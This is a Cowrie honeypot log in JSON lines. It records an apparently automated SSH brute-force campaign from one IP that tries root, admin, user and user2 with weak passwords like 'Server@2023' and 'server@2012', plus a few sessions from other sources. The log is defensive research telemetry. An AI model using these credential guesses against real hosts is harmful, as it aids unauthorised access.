{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:03.359151Z","src_ip":"103.190.242.61","session":"c4b2434d73bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2023","message":"login attempt [root/Server@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:04.195131Z","src_ip":"103.190.242.61","session":"c4b2434d73bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:04.673588Z","src_ip":"103.190.242.61","session":"c4b2434d73bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":53244,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f925bb6140d","protocol":"ssh","message":"New connection: 103.190.242.61:53244 (10.17.0.5:22) [session: 9f925bb6140d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:04.877517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:04.884081Z","src_ip":"103.190.242.61","session":"9f925bb6140d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:05.083383Z","src_ip":"103.190.242.61","session":"9f925bb6140d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2023","message":"login attempt [admin/Server@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:05.899577Z","src_ip":"103.190.242.61","session":"9f925bb6140d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:06.380978Z","src_ip":"103.190.242.61","session":"9f925bb6140d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":53376,"dst_ip":"10.17.0.5","dst_port":22,"session":"68f1d154e508","protocol":"ssh","message":"New connection: 103.190.242.61:53376 (10.17.0.5:22) [session: 68f1d154e508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:06.583279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:06.589472Z","src_ip":"103.190.242.61","session":"68f1d154e508","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:06.790733Z","src_ip":"103.190.242.61","session":"68f1d154e508","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2023","message":"login attempt [user/Server@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:07.604626Z","src_ip":"103.190.242.61","session":"68f1d154e508","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:08.085537Z","src_ip":"103.190.242.61","session":"68f1d154e508","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":53511,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bdc48d36474","protocol":"ssh","message":"New connection: 103.190.242.61:53511 (10.17.0.5:22) [session: 5bdc48d36474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:08.284119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:08.288726Z","src_ip":"103.190.242.61","session":"5bdc48d36474","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:08.482330Z","src_ip":"103.190.242.61","session":"5bdc48d36474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2023","message":"login attempt [user2/Server@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:09.288880Z","src_ip":"103.190.242.61","session":"5bdc48d36474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.75584435462952,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:09.662275Z","src_ip":"137.184.155.248","session":"49cb57a67d29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:09.769995Z","src_ip":"103.190.242.61","session":"5bdc48d36474","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":53631,"dst_ip":"10.17.0.5","dst_port":22,"session":"a164fb355252","protocol":"ssh","message":"New connection: 103.190.242.61:53631 (10.17.0.5:22) [session: a164fb355252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:09.973719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:09.979314Z","src_ip":"103.190.242.61","session":"a164fb355252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:10.175809Z","src_ip":"103.190.242.61","session":"a164fb355252","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2012","message":"login attempt [root/server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:10.991549Z","src_ip":"103.190.242.61","session":"a164fb355252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:11.472753Z","src_ip":"103.190.242.61","session":"a164fb355252","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":53767,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab2b9e59a707","protocol":"ssh","message":"New connection: 103.190.242.61:53767 (10.17.0.5:22) [session: ab2b9e59a707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:11.678266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:11.683226Z","src_ip":"103.190.242.61","session":"ab2b9e59a707","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:11.880938Z","src_ip":"103.190.242.61","session":"ab2b9e59a707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2012","message":"login attempt [admin/server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:12.703250Z","src_ip":"103.190.242.61","session":"ab2b9e59a707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":43804,"dst_ip":"10.17.0.5","dst_port":23,"session":"7333440bf332","protocol":"telnet","message":"New connection: 137.184.155.248:43804 (10.17.0.5:23) [session: 7333440bf332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:13.114241Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:13.184509Z","src_ip":"103.190.242.61","session":"ab2b9e59a707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":53896,"dst_ip":"10.17.0.5","dst_port":22,"session":"4193c296daea","protocol":"ssh","message":"New connection: 103.190.242.61:53896 (10.17.0.5:22) [session: 4193c296daea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:13.388172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:13.392267Z","src_ip":"103.190.242.61","session":"4193c296daea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:13.587703Z","src_ip":"103.190.242.61","session":"4193c296daea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2012","message":"login attempt [user/server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:14.401950Z","src_ip":"103.190.242.61","session":"4193c296daea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:14.882904Z","src_ip":"103.190.242.61","session":"4193c296daea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":54026,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a9bec0e89e1","protocol":"ssh","message":"New connection: 103.190.242.61:54026 (10.17.0.5:22) [session: 1a9bec0e89e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:15.081400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:15.086785Z","src_ip":"103.190.242.61","session":"1a9bec0e89e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:15.281218Z","src_ip":"103.190.242.61","session":"1a9bec0e89e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2012","message":"login attempt [user2/server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:16.090281Z","src_ip":"103.190.242.61","session":"1a9bec0e89e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:16.571350Z","src_ip":"103.190.242.61","session":"1a9bec0e89e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":54156,"dst_ip":"10.17.0.5","dst_port":22,"session":"88ab40abe7c9","protocol":"ssh","message":"New connection: 103.190.242.61:54156 (10.17.0.5:22) [session: 88ab40abe7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:16.777204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:16.781868Z","src_ip":"103.190.242.61","session":"88ab40abe7c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:16.978031Z","src_ip":"103.190.242.61","session":"88ab40abe7c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2016","message":"login attempt [root/server@2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:17.793947Z","src_ip":"103.190.242.61","session":"88ab40abe7c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:18.274201Z","src_ip":"103.190.242.61","session":"88ab40abe7c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.151.178.49","src_port":60741,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdea9a01601b","protocol":"ssh","message":"New connection: 112.151.178.49:60741 (10.17.0.5:22) [session: fdea9a01601b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:18.332098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:18.336086Z","src_ip":"112.151.178.49","session":"fdea9a01601b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.190.242.61","src_port":54294,"dst_ip":"10.17.0.5","dst_port":22,"session":"080b3f88b1e5","protocol":"ssh","message":"New connection: 103.190.242.61:54294 (10.17.0.5:22) [session: 080b3f88b1e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:18.476241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T13:41:18.481119Z","src_ip":"103.190.242.61","session":"080b3f88b1e5","protocol":"ssh"}
